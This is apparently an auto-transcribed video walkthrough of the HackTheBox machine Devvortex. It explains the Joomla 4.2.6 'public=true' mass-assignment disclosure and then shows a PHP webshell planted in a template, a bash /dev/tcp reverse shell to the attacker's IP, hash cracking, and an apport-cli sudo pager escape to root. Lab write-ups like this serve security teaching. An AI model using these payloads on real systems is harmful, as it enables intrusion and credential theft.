text: what's going on YouTube this is ipack I'm doing Dev Vortex from hack to box which is a relatively easy machine but if you zip through it and just use public exploit scripts you're not going to get everything the machine has to offer because the two main exploits of this box are relatively common exploits so if you just run the script you're not going to learn that much it starts off by finding a jumla instance that is vulnerable to an information disclosure vulnerability essentially you can hit some API end points as an unauthenticated user use that to dump the config that has database credentials you can log into jumla with now the information disclosure vulnerability actually is Chained with a mass assignment vulnerability that is really interesting so we'll take a deep dive in that while we exploit it and then the

title: HackTheBox - Devvortex


text: next step you just log into the database get a hash crack it and log in as a different user that can run a crash reporting command as pseudo this one has a recent cve as well that you can use to exploit the pager which is just using less and able to get a shell from that but a lot of commands with pseudo that use a pager are vulnerable to this so with that being said let's just jump in as always we're going to start off with an end map so- SCC for default scripts SV enumerate versions OA output all formats put in the end map directory and call it Dev Vortex then the IP address of 1010 11242 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and its Banner tells us it's an obuntu server we also have HTTP on Port 80 it's Baron

title: HackTheBox - Devvortex


text: tells us it's engine X also running on Ubuntu and it's directing us over to Dev vortex. htb so let's go ahead and add this to our host file so sud V ety host and then we can add 10 10 11242 Dev Vortex HTP and take a look at the website so going there we see just a page it says welcome to Dev Vortex and the first thing I'm looking for is like where I can send input to is this just like a static page what is it also have this um walizer we can see uh all the Technologies it utilizes there's not much there there is this request to call back form uh if we try to subscribe we have to do a email let's see it's just directing us to question mark so it doesn't look like it's really accepting anything so I also notice all the extensions are HTML if we tried like index.php not found everything is HTML so I can either do

title: HackTheBox - Devvortex


text: like a gobster and Brute Force directories or virtual host we could do them both simultaneously but I like only doing one at a time otherwise you can overload the server so I'm going to start with just virtual host fuzzing so let's do um goster and I'm going to think it's vhost right uh gobster yep vurst then the URL HTTP Dev vortex. HTP and then the word list we'll do op SEC list um Discovery DNS we'll do the top 5,000 sub domains I guess so running this we do get a hit almost immediately on dev so let's go ahead and add Dev into our host file so we can do dev.d vortex. HTP save that and let's take a look at what is Dev so dev. Dev vortex. htb was that it let's see yes the page looks somewhat similar um just in the sense that it's a bootstrapped uh page I guess it doesn't look that similar at all even the title

title: HackTheBox - Devvortex


text: bar is different but let's see what we have here so it's just another Banner about what Dev Vortex is oddly enough the services there is a bit screwed up and there's nothing really too interesting if we go over to the Wyer it tells us it is running jumla and we could find out Juma if we just like guessed um directories I think juma's default is SL administrator and we get a um login here right we could also try like SL admin and other things but that's what jumas is those are just common ones I try out I bet robots. text is probably here as well if we look at it robots. text also tells tells us it is jumla so the first step most people probably do is just look at like a jumer vulnerability scanner uh there aren't many good ones I guess Doom scan is probably the best one right now however I don't like it mainly because it's written in Pearl but it is kept up to

title: HackTheBox - Devvortex


text: date or it was um oh that's J L scan so one of the key pieces when looking at analyzers is try to pick one that has been updated recently right so I found jum L scan but we want to go to jum scan which is part of oasp so I think that's why it is kept more up to date we see 5 months ago there was a commit so let's just go ahead and pull this to run it so get pull or get clone there we go we can go in J scan and there aren't really many arguments for this one right so we just got like URL we can components if we want to but there's not that much so let's just do URL HTTP Dev Dev vortex. htb uh what so I guess let's see Doss 2 Unix it's got a weird like line break right here um I forget what the carrot m is but that's odd since it just came from the GitHub repu there we go dos Unix fix it up and right

title: HackTheBox - Devvortex


text: away jom scan does detect it is version 4.2.6 and says the core is not vulnerable um while that runs you can also do all this stuff manually Juma makes it oddly easy for you to verify the version um it's like the administrator manifest file I forget exactly where it's stored but I'm always surprised that this isn't like behind authentication mainly because it's in the administrator directory but uh it says it right here or maybe it no this is 2016 let's see so this is the file I think jom scan hits so if we go here and if you searched ip. Ro for jumla I'm sure you would find this as well but we get the administrator manifest file and that also says 4.2.6 and the creation date was December of 2022 so if we Google around for jumla uh 426 exploit let's see if there's anything here uh code execution there there's a

title: HackTheBox - Devvortex


text: bunch of things on exploit DB and GitHub so this is talking about on February 16th there was a security advisory and let's see okay it exposed the version here it also exposes the version in this file appearance so this post is just saying how thread actors are discovering the version before they go and exploit it and here is the actual exploit so it's adding public equals true to the end of the URL which is a bit odd if we just go to like this API V1 config we get a forbidden but if we just tell the application hey let's make this public it gives it to us and we're going to talk about EX why it does it because it's really interesting um the first thought like is always back door or something but never think something's nefarious CU more often than not it's just a simple explanation down to um a misunderstanding but if we look at the

title: HackTheBox - Devvortex


text: config and I know when I say misunderstanding um this is a mass assignment vulnerability it's not actually hardcoded to allow this so that's why I said it's interesting but we do get the user Lewis and the password here if you looked more in the vulnerability we're dumping the config of the application and this is the database password right so if we wanted to we could go over to the dev Vortex administrator and try these credentials we should also keep notes of them just so uh we can use them later if we want um let's go here and it was Lewis log in and we get logged in so let's put this on the back burner because I want to talk about the exploit because it's really interesting I think there's another URL we could potentially hit well there's a lot of URLs we could hit but another good one um we could also do a user dump so if there are

title: HackTheBox - Devvortex


text: other users on this if we hit like API users we're going to get a forbidden but again if we say public equals true this is going to list all the users we don't get their password hashers but we can see Lewis and Logan are on this box so let's talk about the exploit if we go here we see the jumla advisory uh let's see on February 16th jumla published a security advisory so juma's open source I'd start with a security advisory find out the fix date right we see it's 2023 0216 and it is version the 4.0 line right so let's go jumla GitHub and let's find their GitHub page and just look at what happened on was it February 16th uh yeah February 16th so let's go over to the commits and it put me on the 4.4 ddev Branch I guess that's fine I want to be on the four Branch because again um it was patched

title: HackTheBox - Devvortex


text: around that time so I'm going to change my time to February of 2023 and we'll do the week of the 16th and then we look through the commits and one sticks out right away we have on the 16th merge Branch 428 security release into 42 Dev so if we take a look at this we will see it updating a bunch of just XML metadata we don't care about but right here this is the fix in this file the parse API route they're saying if the key public exist this then unset it so let's uh let's see view file okay we can look at this file and while I do this I am actually going to uh clone Juma so we can jump through in Visual Studio code so we'll do a get clone DB was it 4.4 ddev yes it was there we go so let's take a look at this code so in this API router we have this piece of code so it's going to do a parse API route and it's saying the valid

title: HackTheBox - Devvortex


text: methods and then we're going to get the route path and right here we're going to get the query so we're going to assign it's essentially saying um a variable is equal to PHP input it's probably going to be a dollar like that right essentially I think that's what this is doing it's going to grab all the supplied parameters and put them into this query and uh this piece of code didn't exist before so it would just keep going down and if we look at the comment it says remove public key as it's only coming from the route definition so what we have here is we have two like structures merging we have the route definition that probably defines public and then we also have the get parameters and it allowed us to set public so despite it being defined in the route definition because we set it later from the user

title: HackTheBox - Devvortex


text: then it overrides that and all of a sudden a route that used to require authentication no longer does right so that's just a mass assignment vulnerability they never really specified um the user can specify public they're just saying the user can give arguments to API endpoints and then we'll merge it right that's typically how a mass assignment works it's just developer not expecting you to be able to control a variable so let's take a look at exactly um where P API route comes from um maybe we can talk about this a little bit more let's see jumla CMS code uh let's see once this loads I'm going to do edit finding files I'm going to look at this parse API route to see where it's used API router is where we had it defined and we go into this router so let's see um this is just setting up the route we PR the API route uh let's doing some

title: HackTheBox - Devvortex


text: checks right here let's see right now we're going through all the variables in the route I'm guessing this where we can set public right and then right here we have if route vers public if this is not set because we have the exclamation there so if this variable is not set or the variable is equal to false then require logging in right we set the variable to true so it passed and based upon this we could just set it to be anything we didn't need to say public equals true so if we wanted to go back here let's see uh it api1 so we have public equals true we can say public is equal to Please Subscribe Please Subscribe does not equal uh false so it still lets us do this right so this is that line of code um if you want to see how the route is actually defined uh let's do V1 what was it I'm going to do config

title: HackTheBox - Devvortex


text: application so if we grab this string V1 config application just search for it we can see how this route gets defined on before API we're defining V1 config application and then giving it all the parameters we have this git defaults and if we look at the git defaults it's going to set public is equal to false so right here um we're saying public equals false it defines that route jumla goes and pulls this route it sees public is equal to false then our request says public equals equal true with some other argument supposedly and when it does that it merges our arguments where the route definition is and we overwrite the public variable and say everything is public so that's how the xpl works the whole reason why um the API is working this way where it just takes user input and assigns them to a variable is likely because um every API endpoint requires

title: HackTheBox - Devvortex


text: different arguments right so you can't hardcode all the arguments you just want to say hey we're going to take some arguments from a user give them to this endpoint so that's why the fix was just after we take all the end points from the user let's make sure public isn't in there if it is let's unset it before we merge it back into a route so hopefully that exploit or talking about it was interesting to you um another fun fact here I guess while we're on this route is after finding this I would probably run things through sneak to see if sneak would discover the vulnerability if it doesn't then I know I always should be looking at Route definitions or you always always should but I would prioritize it more the other thing I'm thinking about is um this vulnerability was there for quite a while right how would I have found this I don't like depending on code analysis

title: HackTheBox - Devvortex


text: to find vulnerabilities because it's very timec consuming but what I could have done if I was looking at jumla right I take something that has a forbidden right and you should be doing this anyways um and then going to a tool like fuff so let's do f-u go here and we can say fuzz is equal to um we'll just do one right and then let's do a word list we can say opt SEC list Discovery uh is it web then API uh let's see web content uh I thought there was an API one maybe fuzzing maybe it's not undiscovery fuzzing API uh find opt secist g- I API so let's grab this so I'm going to go back here where the- W is copy and what word list do we want to use um you can say API end points and just try this I haven't done this before I'm assuming it's going to find something and it did not grip public in this that's not there cuz endpoints is

title: HackTheBox - Devvortex


text: taking the entire URL that's definitely not what I want um Discovery web content let's just do raft small words. text or we can do lowercase as well and this one may take a while but eventually I think we will find one that says public is equal to true or public is equal to something and it won't be a 403 it'll be a 200 and this fuff will say it right um I know a lot of people just think fuzzing arguments is silly it used to be considered super gu on hack the box I know we had a few machines years ago that had it but this is a fun application of seeing how this could actually help in the wild right so I'm going to pause the video let this fuff run if it doesn't find it I will be shocked and I did not expect that to happen we don't have it at all um I'm positive public is in this word list so

title: HackTheBox - Devvortex


text: if we look at public let's make sure the string starts and ends yes it does so one of two things either happen maybe there's an HTTP header it doesn't like or one is being treated as false in PHP which I don't think is the case if we do if one then Echo true I have to put the semicolon there that works zero so I don't think that's the case but it very well could be and I thought about editing backwards and not showing this failure but it's important to know when you're doing this type of fuzzing um things to watch out for and maybe like one or Zer not a good thing to put here maybe you should just put a string that doesn't mean anything right or do both zero and one to see the behavior just don't set on one but that may not be the issue so let's go and send it to a proxy so we can do HTTP

title: HackTheBox - Devvortex


text: 1271 8080 so this is going to send the request from FFF over to Bur sweet right yes okay and the first one was temp and could not match accepted header what in the world it doesn't not like so whenever you do fuzzing you should always make sure like do a vanilla request to test it because there could just be something that is bad and I'm still confused by this so let's go send a valid one right clear the queue Go to brip Suite add it and this is a request that works so is it going to be the user agent I don't think it's going to be that there's no way it is that okay okay good so the next thing um do we need a cookie we have to do a line break there no so it's not the cookie Let's see we send it forbidden host accept I I bet it's the accept uh line break yes it was the accept line that it

title: HackTheBox - Devvortex


text: did not like I guess it couldn't do gz it like if we just got rid of accept en coding all together nope it needed uh let's go backwards it wasn't accept en coding we just need accept so when we talk to the API it really wants to know what we accept and I really hate that by BP Suite um so it's not encoding it's just accept and I bet like text Json cannot I don't know what Json is wonder if we can do stst to accept everything yeah we could uh content type application Json so this is all we needed in the accept right so what the API is doing is saying what type of data we accept if we don't accept the type of data it gives us it refuses to work with us so that is interesting to know actually right we just need that header um so we could redo the fuff with that header and I'm just going to make word list we can say public does not exist and we'll

title: HackTheBox - Devvortex


text: do please sub just so it goes a bit quicker right actually no I want to fuzz with everything to see if there's many false positives in this so we're fuzz with everything um dash for header and what was it accept and we can do star star okay so we get a bunch of 401s so we can say filter code 401 so now we're going to hide all 41's and we have public right away coming back at us and I am curious we have public is equal to one if I did public is equal to zero I'm guessing that's going to translate to false it does not so uh that actually surprises me uh because we saw on the code where it said does not equal false but obviously public just has to be set even if you set it to false it'll still um pass it right so I'm just going to see if there's any other things we can send here I know format worked before uh on the last one

title: HackTheBox - Devvortex


text: that's probably just saying um what type of format do we want it in I'm guessing like HTML may work or something something I don't know but you'd have to see exactly what the format parameter is because I'm guessing that's another Mass assignment thing that's screwing up things but I doubt format is actually going to be a security vulnerability this is just probably a non- exploitable bug that's happening there right so uh yeah I'm just going to let the fuzz finish and then we will finally move on to um getting a shell on the box and after about 15 minutes the the fuzz has finished and we only have two results and it's what we expected the format I don't think was a security relevant thing but public is here so if you ever wanted to fuzz arguments on API endpoints this is probably a good reference always start out by just doing

title: HackTheBox - Devvortex


text: a vanilla request to make sure it's what you expect because there may be a header that is missing that you just don't expect like that except one that we saw so let's Now log into the box if we went to the config we saw the Lewis user and then the password of Panther got something I can't even read that text but that leted us log into jumla and I don't know if I'm actually still logged in let's just go to Dev Vortex administrator and I want to turn burp Suite off so going here nope not logged in so what was it Lew log in and then whenever you get access to a PHP app the most common way to get a shell is either going to be uploading a plugin which I think would work or just editing a template um editing a template is much easier because uh with a plugin you just have to do a little bit of research to see

title: HackTheBox - Devvortex


text: exactly how the plugin system works for that um CMS it's normally like a zip file with a manifest that explains it and then some PHP code or whatever the language is but with templates it becomes a little bit easier because you just have straight PHP files that you have to edit the main issue is finding out where they exist if I go to system site templates then we see this copia details and files and we have a few files now when editing a template I generally go for a file that's probably not going to be used like if we do index and screw something up here we're going to take the site Offline that is not good um offline or error these are probably going to be fine I'm just going to do error because um if the error page errors that may be expected I don't know but offline or era both could be good

title: HackTheBox - Devvortex


text: candidates and then all we want to do is uh put some PHP code in to get a shell so I'm going to say if is set then we can say request CMD and then we can do system request CMD so the reason why I'm checking if is set first is because if you access this error page without CMD and just do system CMD then you get a big nasty error right putting that if is set thing is just a somewhat decent opsc thing to do right so we can save that and then we want to go to this file so I'm going to go HTTP Dev Vortex and then go templates copia error. PHP um I forgot to uh do HTTP beforehand I think so it searched uh that Vortex like that why is it I don't want to search okay I'm just going to do this in burp Suite I'm not exactly sure what my Firefox is doing maybe had a space between the HTTP and not I'm not

title: HackTheBox - Devvortex


text: positive but this will work just fine okay so right off the bat we have internal server error that's not great we do CMD who am I so I think we have an error in our PHP code so if is set I wonder if we have to put what's in the if in parenthesis save we're still getting internal server error so what I'm going to do is remove my code oh I was intercepting so when I click save it never actually saved uh let's go back try this way and there we go we have it so again um I can show you what happens if we don't have that if as set right so if I just do the save we go here it works but let's say someone just browsed to a. PHP it actually still worked I expected that to crash um but whenever you do reverse shells I don't always show it in my videos but that is a good thing to do um so let's go back

title: HackTheBox - Devvortex


text: here CMD equals ID okay let's just get a reverse shell so we can do bash DZ then bash d i Dev TCP 10 10 148 9,1 0 and 1 URL encode this send the shell then let's import PTY PTY spawn b bash let's fix a TTY rows 28 columns 110 and then stty raw minus Echo forr there we go so now we have a reverse shell so the very first thing I want to do is just export the database right and we could grab it from the joml config U it's probably going to be like in the root as configuration.php but we know the credentials it's logging in as right if I do a less on this um I'm going to search Lewis right we can see the user and password because the config we exported from this uh public this is this file right and we have the database credential here it matches up so we could have done it either way we didn't need to C this file so let's log into the database so I'm

title: HackTheBox - Devvortex


text: going to do my SQL D l-p put in the password show databases use jumla uh show tables and let's see describe sd4 FG users so we see all the tables or the columns and I'm going to say select username email password from the users and let's see we have Lewis and Logan so let's go and send these over to the crack so let's do sh Kraken CD hashcat vhes and I'm going to call this uh Dev Vortex we can say Lewis and then Logan okay so we can say hashcat and then hashes Dev Vortex we also have to specify us us because I put the username first and then the word list I'm just going to do opt wordlist rocky. text is it just user there we go so now this is going to start cracking we have to specify the mode because this conflicts and this looks like 3200 which is just straight bcrypt the other one said like e-commerce right so I don't think uh

title: HackTheBox - Devvortex


text: jumla is going to be under e-commerce so I just use the standard bcrypt with which is going to be the most common one right so now that we have it running we have one hash that's already cracked and it is deiro mucho maybe um let's see the one thing I don't like is when you specify the users it doesn't say it as it goes right we have to um I guess we could just quit I think I could have just sshed again and ran it but that was the credential I wanted if we get rid of of the word list and do D- show we can see Logan has this password so what I'm going to do is try sshing in so we can SSH Dev vortex.

title: HackTheBox - Devvortex


text: HTP I could have just done like an Su on my terminal right uh it was Logan and the reason why I'm not trying it on jumla anything because we've already completely popped jumla there's no point in popping it more right we had an admin so this was the only other place we could try a login for so checking the pseudo list which is one of the first things I always do I see we can execute this binary with pseudo so my first thought is oh this is going to be a GTFO bin so if I go to GTFO bins we type AO does not exist so let's see what this is I'm going to guess this is a um application like an air reporting thing just because I've seen uh AP Port before I forget exactly what it stands for but pretty sure it's airror reporting right no crash reports we can do dasel and see what is here um my first thought is trying to find something that lets me

title: HackTheBox - Devvortex


text: include a file so maybe I can just like include root. text and it goes and outputs it uh if we do- C and then a path maybe that does it so we can say pseudo Port DC root root. text and it can't be processed not enough values so we need an actual error report here um so the other thing we could also do is look at the version and we see 22011 so let's go Google that I'm going to copy this aort CLI grab this version go over to Google and we do have a prives and I don't know what this is doing this creating a test log did it say what version this is oh 20 we're on maybe this would work I don't think so let's see date let's see before Ubuntu you name- a where are we we explo this by launching a REV Shell let's see what else there is maybe we'll do that raise condition add exploit to it order version so it looks like this may be

title: HackTheBox - Devvortex


text: vulnerable uh 20111 and that is uh what we have so let's try this actually I have not ran this exploit script option allow anyone this is log rotate we don't have pseudo log rotate so that won't work here's a 2023 cve I think the other one was 2021 which is why I was like questioning it right and we can see this one is talking about using the uh pag of functionality so it does pseudo we view a crash and then this is probably going to be in less yeah less is configured as the pager so let's do export pager is equal to uh do we have pager we don't I don't think we have to set pager we just have to overfill the text so if we do pseudo- let's see what options do we have we can file a bug and I think this is the line that we could potentially get into something let's see I just did a disc upgrade we'll see

title: HackTheBox - Devvortex


text: what happens here but I may want to set my terminal size to be small that why it will uh that that I can't even speak if I set my terminal size to small then it we'll use the page a less so we can like scroll through it right let's view the report oh I'm in less already right so I'm going to do a colon exclamation point B sh and we drop down to rout so that is it um let's try something real quick so generally how the pager works the pager is just a way to view text that would normally go off your screen right if I do st- a it is 110 columns so for the pag to be invoked it just has to be longer than oh rows we want rows for the pag to be invoked we want to be more than 28 rows right so if you're doing this and it's not working try sending like stty rows one and then if we try this exploit again um does it do it any earlier maybe

title: HackTheBox - Devvortex


text: it won't but it's just playing with it until it goes into this and this has been a somewhat common uh vulnerability with just applications running as pseudo as this pager um it does not I kind of expected this screen to trigger the pager but only it triggers when we try to view the report right um we see the report is all screwed up because less thinks my um row is only one so that's why it only displays it one uh at a time so that's going to be the Box hope you guys enjoyed it take care and I will see you all next time by

title: HackTheBox - Devvortex